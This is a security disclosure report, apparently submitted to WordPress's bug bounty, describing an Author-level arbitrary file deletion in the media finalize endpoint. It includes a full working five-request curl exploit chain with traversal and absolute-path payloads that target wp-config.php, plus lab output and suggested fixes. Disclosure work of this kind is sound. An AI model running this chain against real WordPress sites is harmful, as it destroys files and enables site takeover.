WordPress · Report #3931777
Author → arbitrary file deletion anywhere on disk (site takeover) via `POST /wp/v2/media/<id>/finalize` poisoning `_wp_attachment_metadata`
How it was found
Description:
The client-side-media-processing endpoint POST /wp/v2/media/<id>/finalize writes attacker-supplied
strings verbatim into the attachment's _wp_attachment_metadata, including the top-level file
key and sizes[*]['file']. There is no sanitize_callback, no pattern, no sanitize_file_name(),
no basename check anywhere on that path.
wp_delete_attachment_files() has exactly one branch — the $backup_sizes branch — that derives
both the file to delete and the directory used to confine the deletion from $meta['file'].
Because the attacker controls $meta['file'], the wp_delete_file_from_directory() containment
check compares the target against a directory the attacker also chose, so the guard is a no-op. Every
other branch derives its confinement directory from get_attached_file() and is correctly confined;
only this one is not.
The $backup_sizes array is populated by wp_ajax_image_editor() (edit_post + a nonce that
WordPress prints to the Author itself in the media popup), which copies the attacker's poisoned
sizes[*] entry into the protected _wp_attachment_backup_sizes meta verbatim.
Net effect: an Author deletes any file the PHP process can unlink, anywhere on disk.
Root cause with real file:line and verbatim code
1. Route + gate
gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:150-154
(core trunk: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:166-170):
'/' . $this->rest_base . '/(?P<id>[\d]+)/finalize',
array(
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'finalize_item' ),
'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),
edit_media_item_permissions_check() = current_user_can( 'upload_files' ) +
update_item_permissions_check() (edit_post on the attachment). An Author satisfies both on its
own upload.
Default-on in core trunk — wp-includes/media.php:6579-6591:
function wp_is_client_side_media_processing_enabled(): bool {
// This is due to SharedArrayBuffer requiring a secure context.
$host = strtolower( (string) strtok( $_SERVER['HTTP_HOST'] ?? '', ':' ) );
$enabled = ( is_ssl() || 'localhost' === $host || str_ends_with( $host, '.localhost' ) );
...
return (bool) apply_filters( 'wp_client_side_media_processing_enabled', $enabled );
i.e. every HTTPS production site. In the released Gutenberg plugin the gate is unconditional —
gutenberg/lib/compat/wordpress-7.1/media.php:18-27:
function gutenberg_is_client_side_media_processing_enabled() {
/**
* Filters whether client-side media processing is enabled.
* ...
*/
return apply_filters( 'wp_client_side_media_processing_enabled', true );
}
2. Unsanitized write primitive
gutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845 (finalize_item()):
if ( 'original' === $image_size || 'scaled' === $image_size ) {
// Skip malformed entries so a bad payload cannot blank out the
// main file metadata.
if ( empty( $sub_size['file'] ) ) {
continue;
}
...
$metadata['file'] = $sub_size['file']; // :806 <-- top-level path, verbatim
and, for regular sizes:
$metadata['sizes'][ $image_size ] = array( // :838
'width' => $sub_size['width'] ?? 0,
'height' => $sub_size['height'] ?? 0,
'file' => $sub_size['file'] ?? '', // <-- per-size filename, verbatim
'mime-type' => $sub_size['mime_type'] ?? '',
'filesize' => $sub_size['filesize'] ?? 0,
);
}
}
...
wp_update_attachment_metadata( $attachment_id, $metadata );
The schema for sub_sizes[].file is only array( 'type' => 'string' ) — no pattern, no
sanitize_callback. wp_update_attachment_metadata() writes the array straight to post meta; there
is no register_meta() sanitize callback and no core filter touching it.
Identical code in core trunk at
wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828 onwards
(:2885 for file, :2923 for sizes[*]['file']).
3. Laundering the poisoned size into protected meta
wp-admin/includes/ajax-actions.php:2688-2695 (wp_ajax_image_editor()):
$attachment_id = (int) $_POST['postid'];
if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
wp_die( -1 );
}
check_ajax_referer( "image_editor-$attachment_id" );
Only edit_post + a nonce — and WordPress prints that exact nonce to the Author in the media popup,
wp-admin/includes/media.php:1702:
$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
Observed:
$ curl -s -b author.jar "http://localhost:8356/wp-admin/media-upload.php?tab=library" | grep -oE "imageEdit\.open\([^)]*\)"
imageEdit.open( 8, "72cf52ebf1" )
wp-admin/includes/image-edit.php:1057,1105-1107,1134 then does:
$sizes = get_intermediate_image_sizes(); // :1057 (target=all)
...
if ( $tag ) {
$backup_sizes[ $tag ] = $meta['sizes'][ $size ]; // :1106 verbatim copy
}
...
update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ); // :1134
4. Sink — the only unconfined branch of wp_delete_attachment_files()
wp-includes/post.php:6846-6860 (released 7.0.2 — byte-identical in trunk at :7023-7037), reached
from wp_delete_attachment():
if ( is_array( $backup_sizes ) ) {
$del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) ); // attacker-controlled DIRECTORY
foreach ( $backup_sizes as $size ) {
$del_file = path_join( dirname( $meta['file'] ), $size['file'] ); // attacker-controlled TARGET
if ( ! empty( $del_file ) ) {
$del_file = path_join( $uploadpath['basedir'], $del_file );
if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) {
$deleted = false;
}
}
}
}
path_join() returns $path unchanged whenever it is absolute:
function path_join( $base, $path ) {
if ( path_is_absolute( $path ) ) {
return $path;
}
return rtrim( $base, '/' ) . '/' . $path;
}
and wp_delete_file_from_directory() only checks
if ( false === $real_file || false === $real_directory
|| ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) {
return false;
}
Since $real_directory is derived from the same attacker-controlled $meta['file'] as
$real_file, the containment test always passes. Compare the sizes, original_image,
source_image and animated_video* branches in the same function — they all build their
confinement directory from $file = get_attached_file(), which the attacker does not control.
Only the $backup_sizes branch is broken.
Steps To Reproduce:
Lab: cp -a of the clean WordPress 7.0.2 template + Gutenberg 23.6.0 activated, own DB media356,
php -S 127.0.0.1:8356, base URL http://localhost:8356. Users admin, author1 (Author),
contrib1 (Contributor). Auth = author1's own application password — no administrator involvement.
AP=<author1 application password>
B=http://localhost:8356
# [1] Author uploads a real JPEG
curl -u "author1:$AP" -H "Content-Disposition: attachment; filename=zap4.jpg" \
-H "Content-Type: image/jpeg" --data-binary @zap.jpg \
-X POST "$B/?rest_route=/wp/v2/media" # 201, id=8
# [2] Poison one sub-size filename with the name of the file to destroy
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
-d '{"sub_sizes":[{"image_size":"thumbnail","file":"wp-config.php",
"width":150,"height":150,"mime_type":"image/jpeg","filesize":1}]}' \
"$B/?rest_route=/wp/v2/media/8/finalize" # 200
# [3] Read the image_editor-8 nonce WordPress prints to the Author, then launder
# the poisoned entry into the protected _wp_attachment_backup_sizes meta
curl -b author.jar "$B/wp-admin/media-upload.php?tab=library" # imageEdit.open( 8, "72cf52ebf1" )
curl -b author.jar -X POST "$B/wp-admin/admin-ajax.php" \
-d 'action=image-editor&_ajax_nonce=72cf52ebf1&postid=8&do=save&target=all' \
--data-urlencode 'history=[{"r":90}]' # 200 {"success":true,...}
# [4] Re-poison the top-level metadata['file'] to escape the uploads root
curl -u "author1:$AP" -X POST -H "Content-Type: application/json" \
-d '{"sub_sizes":[{"image_size":"original","file":"../../x.jpg",
"width":600,"height":400,"filesize":1}]}' \
"$B/?rest_route=/wp/v2/media/8/finalize" # 200
# [5] Author deletes its OWN attachment
curl -u "author1:$AP" -X DELETE "$B/?rest_route=/wp/v2/media/8&force=true" # 200
Proof (real quoted output)
A. wp-config.php destroyed; the site is handed to the unauthenticated installer
Literal console output of the run above:
upload HTTP 201
id=8
finalize1 HTTP 200
imageEdit.open( 8, "72cf52ebf1" )
image_editor-8 nonce = 72cf52ebf1
ajax HTTP 200
{"success":true,"data":{"fw":400,"fh":600,"thumbnail":"http:\/\/localhost:8356\/wp-content\/uploads\/2026\/07\/zap4-e1785187084677-150x150.jpg","msg":"Image saved"}}
array (
'full-orig' =>
array (
'width' => 600,
'height' => 400,
'filesize' => 4607,
'file' => 'zap4.jpg',
),
'thumbnail-orig' =>
array (
'width' => 150,
'height' => 150,
'file' => 'wp-config.php', <-- poisoned entry laundered into _wp_attachment_backup_sizes
'mime-type' => 'image/jpeg',
'filesize' => 1,
),
'medium-orig' =>
array (
'file' => 'zap4-300x200.jpg',
'width' => 300,
'height' => 200,
'mime-type' => 'image/jpeg',
'filesize' => 1749,
),
)
finalize2 HTTP 200
=== before ===
0bb7f2692557e2187ad3fcfc58366c60 wp/wp-config.php
delete HTTP 200
=== after ===
ls: cannot access 'wp/wp-config.php': No such file or directory
GET / -> 302 redirect: http://localhost:8356/wp-admin/setup-config.php
(The file was restored from a backup afterwards; md5sum matched
0bb7f2692557e2187ad3fcfc58366c60 again and GET / returned 200.)
B. The deletion is not confined to the web root at all
Second run, same Author account, absolute path completely outside the document root:
=== victim dir before ===
-rw-rw-r-- 1 kali kali 22 Jul 27 17:15 /home/kali/wphunt/scratch-media356/victimdir/backup.sql
=== step 2: poison thumbnail sub-size filename with the target basename ===
finalize1 HTTP 200
'thumbnail' =>
array (
'width' => 150,
'height' => 150,
'file' => 'backup.sql',
'mime-type' => 'image/jpeg',
'filesize' => 1,
),
=== step 4: re-poison metadata[file] with an absolute path outside the web root ===
finalize2 HTTP 200
file=/home/kali/wphunt/scratch-media356/victimdir/anything.jpg
=== step 5: author deletes their own attachment ===
delete HTTP 200
=== victim dir after ===
total 8
drwxrwxr-x 2 kali kali 4096 Jul 27 17:16 .
drwxrwxr-x 4 kali kali 4096 Jul 27 17:16 ..
victimdir/ is not inside the WordPress installation, not inside wp-content/uploads, and not
inside the document root. It is now empty.
C. Negative controls (both executed)
--- contributor -> finalize on author's attachment ---
{"code":"rest_cannot_edit_image","message":"Sorry, you are not allowed to upload media on this site.","data":{"status":403}}
HTTP 403
--- author -> finalize on ADMIN's attachment (10) ---
{"code":"rest_cannot_edit","message":"Sorry, you are not allowed to edit this post.","data":{"status":403}}
HTTP 403
--- author unfiltered_html? ---
author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false
D. The endpoint does not exist in released core without Gutenberg
$ grep -rn "finalize" wp/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php
(no output)
E. Reproduced independently on WordPress Core trunk with NO plugins
Second, separate lab: cp -a of wordpress-develop/src ($wp_version = '7.1-beta3-62828-src'),
own DB trunk357, php -S 127.0.0.1:8357, base URL http://localhost:8357. Only the stock hello
plugin exists and it is inactive; the attachment controller is core's own:
$ wp plugin list
name status update version
hello inactive none 1.7.2
$ wp eval 'echo get_post_type_object("attachment")->rest_controller_class; echo "\nversion=".$GLOBALS["wp_version"];'
WP_REST_Attachments_Controller
version=7.1-beta3-62828-src
$ curl -s "http://localhost:8357/?rest_route=/wp/v2" -o r.json
$ python3 -c "import json;d=json.load(open('r.json'));print(sorted(r for r in d['routes'] if 'media' in r))"
['/wp/v2/media', '/wp/v2/media/(?P<id>[\\d]+)', '/wp/v2/media/(?P<id>[\\d]+)/edit',
'/wp/v2/media/(?P<id>[\\d]+)/finalize', '/wp/v2/media/(?P<id>[\\d]+)/post-process',
'/wp/v2/media/(?P<id>[\\d]+)/sideload']
Same five requests as author1 (cookie + X-WP-Nonce, i.e. exactly what the block editor uses):
upload HTTP 201
id=7
finalize1 HTTP 200
img nonce=db9ca164f8
ajax HTTP 200
{"success":true,"data":{"fw":400,"fh":600,"thumbnail":"...tz-e1785187541680-150x150.jpg","msg":"I
array (
'full-orig' =>
array ( 'width' => 600, 'height' => 400, 'filesize' => 4607, 'file' => 'tz.jpg', ),
'thumbnail-orig' =>
array (
'width' => 150,
'height' => 150,
'file' => 'trunk-secret.conf', <-- attacker-chosen target inside protected meta
'mime-type' => 'image/jpeg',
'filesize' => 1,
),
'medium-orig' =>
array ( 'file' => 'tz-300x200.jpg', 'width' => 300, 'height' => 200, ... ),
)
finalize2 HTTP 200
=== victimdir before ===
-rw-rw-r-- 1 kali kali 21 Jul 27 17:25 /home/kali/wphunt/scratch-trunk357/victimdir/trunk-secret.conf
delete HTTP 200
=== victimdir after ===
total 8
drwxrwxr-x 2 kali kali 4096 Jul 27 17:25 .
drwxrwxr-x 4 kali kali 4096 Jul 27 17:25 ..
The finalize2 payload there, in full — no elision:
{"sub_sizes":[{"image_size":"original",
"file":"/home/kali/wphunt/scratch-trunk357/victimdir/anything.jpg",
"width":600,"height":400,"filesize":1}]}
— an absolute path with no relationship to the WordPress installation.
F. Re-executed on a newer trunk revision (7.1-beta3-62852)
That lab auto-updated itself through wp-cron while it was running, from 7.1-beta3-62828-src to
7.1-beta3-62852. I re-ran the whole chain on the newer revision rather than pinning to the stale
one, because the report has to still be true when it is triaged:
$ wp eval 'echo $GLOBALS["wp_version"]."\n";'
7.1-beta3-62852
finalize1 HTTP 200
img nonce=63aee89202
ajax HTTP 200
'thumbnail-orig' =>
array (
'width' => 150,
'height' => 150,
'file' => 'qa-trunk-secret.conf',
'mime-type' => 'image/jpeg',
'filesize' => 1,
)
finalize2 HTTP 200
delete HTTP 200
=== victimdir after ===
total 8
drwxrwxr-x 2 kali kali 4096 .
drwxrwxr-x 4 kali kali 4096 ..
Every trunk line number quoted in this report was re-derived against 62852 and is unchanged:
class-wp-rest-attachments-controller.php — route :166-170, finalize_item() :2828,
$metadata['file'] = $sub_size['file']; :2885, the sizes array :2920-2926 (the file key at
:2923), wp_update_attachment_metadata() :2933; wp-includes/media.php:6579-6591;
wp-includes/post.php:7023-7037.
Note on authentication for this lab: application passwords are refused over plain HTTP on the trunk
install (HTTP 401), so the trunk runs use the Author's ordinary login cookie plus the wp_rest
nonce — exactly what the block editor sends. That is a property of my lab being plain HTTP, not a
mitigation: on a real HTTPS site both authentication methods reach the same endpoint, and the trunk
gate (is_ssl()) is satisfied there by definition.
Affected versions verified
| Stack | Affected | Verified how |
|---|---|---|
| WordPress 7.0.2 + Gutenberg 23.6.0 (released) | YES | Full chain executed over plain HTTP on port 8356 |
WordPress Core trunk, no plugins — 7.1-beta3-62828-src and 7.1-beta3-62852 | YES | Full chain executed independently on port 8357 on both revisions (see Proof E) |
| WordPress 7.0.2 without Gutenberg | no | Route not registered — grep for finalize in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php returns nothing |
On core trunk the gate is is_ssl() || 'localhost' === $host || str_ends_with( $host, '.localhost' ),
i.e. the endpoint is on by default for every HTTPS production site. My trunk lab used
Host: localhost:8357, which exercises exactly the same branch of that expression that a real HTTPS
site reaches through is_ssl(). The Gutenberg plugin enables the feature unconditionally, so
plain HTTP is enough.
Attacker privilege
Author — the lowest role that holds upload_files. Verified:
author1 unfiltered_html=false
author1 upload_files=true
contrib1 upload_files=false
Negative controls, both executed (see Proof): Contributor → HTTP 403 rest_cannot_edit_image;
Author against an Administrator-owned attachment → HTTP 403 rest_cannot_edit. So an Author can only
do this through an attachment it uploaded itself — which is exactly what the attack needs.
User interaction: None. Fully attacker-driven; five HTTP requests, four of them REST calls authenticated with the Author's own application password.
Honest limits
I would rather state these than have you find them.
- The re-install step was not executed. I observed
wp-config.phpgone andGET / -> 302 http://localhost:8356/wp-admin/setup-config.php. Completing the installer would have destroyed the lab database, so "unauthenticated visitor becomes administrator → RCE via the plugin editor" is the well-understood consequence of that state, argued rather than demonstrated. The deletion itself, the destruction ofwp-config.phpand the hand-off to the installer are all executed and quoted above. - The attacker must own the attachment.
edit_media_item_permissions_check()is a real check and it works: an Author is refused (403 rest_cannot_edit) against an Administrator's attachment, and a Contributor is refused (403 rest_cannot_edit_image) outright. Both controls are in Proof C. This is not a horizontal-IDOR claim; the attack runs entirely through an attachment the Author uploaded. - The laundering step needs the
image_editor-<id>nonce. It is not a secret from the attacker — WordPress prints it to the Author itself in the media popup and I quote the exact line that carries it — but it does mean the chain is five requests rather than two, and a site that somehow blockedadmin-ajax.php?action=image-editorfor Authors would break this particular route into_wp_attachment_backup_sizes. The write primitive infinalize_item()is unaffected either way. S:Cis a judgement call. I claim it because a file outside the document root was deleted, which on shared hosting reaches another security authority. If you disagree, the vector isAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 8.8, and nothing in the report depends on which of the two you pick.- On core trunk the endpoint is gated by
is_ssl() || 'localhost' === $host || …. My trunk lab is plain HTTP onHost: localhost:8357, i.e. the'localhost' === $hostarm. I have therefore not demonstrated it on a non-localhostplain-HTTP trunk install, and I am not claiming it works there — the claim is that it is on by default for every HTTPS site, which is whatis_ssl()says. The released Gutenberg plugin has no such gate at all, which is why the released half needs no caveat. - I have not attempted to turn the deletion into a write primitive, and I am not claiming one.
Exclusions considered
- "Open API endpoints serving public data (including usernames and user IDs)." Does not apply. The
endpoint is authenticated and gated (
upload_files+edit_post), it returns no site data, and the finding is a write/destroy primitive, not a disclosure. The same-client controls in Proof C show the gate is genuinely enforced for callers who do not own the object — this is not an open endpoint. - "Users with administrator or editor privileges can post arbitrary JavaScript." Does not apply on
two counts: no JavaScript is claimed in this report at all, and the attacker is an Author, with
the role evidenced in the proof output rather than asserted —
author1 upload_files=true,author1 unfiltered_html=false,contrib1 upload_files=false. - "Denial of service." The availability consequence here is not volumetric: it is the deletion of
specific, attacker-named files, including
wp-config.php. That is arbitrary file deletion (CWE-73), which the program treats as a vulnerability class, not a resource-exhaustion report. - "Self-XSS", "text injection", "scanner output" — none claimed.
Relationship to my other report
media-finalize-subsize-filename-admin-xss.md uses the same write primitive (finalize_item()
storing sub_sizes[].file verbatim) but is a different vulnerability with a different sink and a
different fix: there the value flows into get_media_item() and breaks out of an unescaped src
attribute, and the primary fix is an esc_url() in wp-admin/includes/media.php:1716 — an escaping
bug that pre-dates this endpoint and is exploitable independently of it. Here the value flows into
wp_delete_attachment_files() and the primary fix is in wp-includes/post.php. Please triage them
together if that is easier; I filed them separately so that neither of the two distinct fixes is lost.
Recommendations
Two independent defects; both should be fixed.
-
finalize_item()must not accept path components. In bothwp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:2828-2933andgutenberg/lib/media/class-gutenberg-rest-attachments-controller.php:749-845, run every$sub_size['file']/$sub_size['original_image']throughwp_basename()+sanitize_file_name()and reject values that change:$name = wp_basename( (string) $sub_size['file'] ); if ( '' === $name || $name !== sanitize_file_name( $name ) || $name !== $sub_size['file'] ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid file name.' ), array( 'status' => 400 ) ); }Add the same as a
validate_callbackon thefileandoriginal_imageschema properties, and add animage_sizeenumvalidate_callbacktofinalizeassideloadalready has. -
Harden the sink regardless.
wp-includes/post.php:6846-6860(trunk:7023-7037) must derive the confinement directory from trusted data, not from$meta['file']:$intermediate_dir = path_join( $uploadpath['basedir'], dirname( _wp_relative_upload_path( $file ) ) ); foreach ( $backup_sizes as $size ) { $del_file = path_join( $intermediate_dir, wp_basename( $size['file'] ) ); wp_delete_file_from_directory( $del_file, $intermediate_dir ); }This mirrors what every other branch of
wp_delete_attachment_files()already does. Consider also makingwp_delete_file_from_directory()refuse an absolute$filethat is not already inside$directorybeforerealpath(), so a future caller cannot reintroduce the same bug. -
Optionally, sanitize on read: have
wp_update_attachment_metadata()rejectfile,original_image,source_image,animated_video*andsizes[*]['file']values containing/,\or...
AI tooling disclosure
Per the program's guidelines and the WordPress AI Guidelines:
AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.
Environment detail for re-running: two private, throwaway installs — released WordPress 7.0.2 with the
released Gutenberg 23.6.0 plugin on php -S 127.0.0.1:8356, and a plugin-free wordpress-develop
trunk checkout on php -S 127.0.0.1:8357 (7.1-beta3-62828-src, later 7.1-beta3-62852). Every cited
file:line was opened and read in the shipped source of the exact version claimed. All output quoted
under "Proof" is literal console output, including the negative controls. wp-config.php was restored
from a backup immediately after the demonstration and its md5 verified back to
0bb7f2692557e2187ad3fcfc58366c60. No production WordPress.org / WordCamp.org host or any third-party
system was contacted at any point.
Prior art / duplicate check
Verdict: known family, novel reachability — no matching public or disclosed report exists for the finalize-endpoint path. Searched: WPScan, Patchstack and the CVE databases for "finalize_item / client-side media processing / wp_delete_attachment_files backup_sizes path traversal", the WordPress 7.0.3 (August 2026) fix list, and the classic 2018 arbitrary-file-deletion CVE.
The closest prior art is CVE-2018-12895 (WordPress <= 4.9.6, "Authenticated Arbitrary File Deletion", fixed in 4.9.7). It shares the sink (wp_delete_attachment_files() -> unlink() on an attacker-influenced _wp_attachment_metadata) and the impact model (delete wp-config.php -> forced re-install -> RCE). It is nevertheless a different bug:
| CVE-2018-12895 (2018, fixed 4.9.7) | This report | |
|---|---|---|
| Metadata key abused | thumb | file (feeding the $backup_sizes confinement directory) |
| Entry point | wp-admin/post.php?action=editattachment ($_POST['thumb']) | POST /wp/v2/media/<id>/finalize (REST) |
| Branch of the sink reached | thumb branch | $backup_sizes branch — the only branch whose confinement directory is derived from attacker-controlled $meta['file'] |
| What the 4.9.7 fix did | basename() on the thumb key | does not touch this branch or this key |
| Code involved | existed in 2018 | finalize_item() ships in released Gutenberg 23.6.0 and core trunk 7.1 — it did not exist in 2018 |
The 4.9.7 fix is key-specific and does not cover the file key or the $backup_sizes branch. Confirmed not among the 11-12 fixes in WordPress 7.0.3.
- CVE-2018-12895 (prior art, different key and entry point, fixed 4.9.7): https://wpscan.com/vulnerability/42ab2bd9-bbb1-4f25-a632-1811c5130bb4/ · https://www.rapid7.com/db/vulnerabilities/wordpress-cve-2018-12895/ · https://www.sonarsource.com/blog/wordpress-file-delete-to-code-execution/
- WordPress 7.0.3 fix list (this bug absent): https://patchstack.com/articles/wordpress-7-0-3-released-12-vulnerabilities-found-and-fixed/
HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.
Impact
An Author-level account — the lowest role that can upload media, and a role routinely handed to external contributors, freelancers and multi-author blogs — can delete any file the PHP process can unlink, anywhere on disk:
wp-config.php→ site takeover. WordPress then redirects every visitor towp-admin/setup-config.php(observed). The first unauthenticated visitor can point the install at a database they control and become administrator, which reaches RCE through the plugin/theme editor. I observed the redirect; I did not complete the re-install..htaccess(removing uploads-directory hardening and PHP-execution blocks), mu-plugin security drop-ins, backups, or any other file the PHP user owns — including, on shared hosting, files belonging to other tenants, since the traversal leaves the uploads root and the document root entirely (proof B).- Destruction of site content and of the installation itself (availability).
No user interaction, no social engineering, five HTTP requests.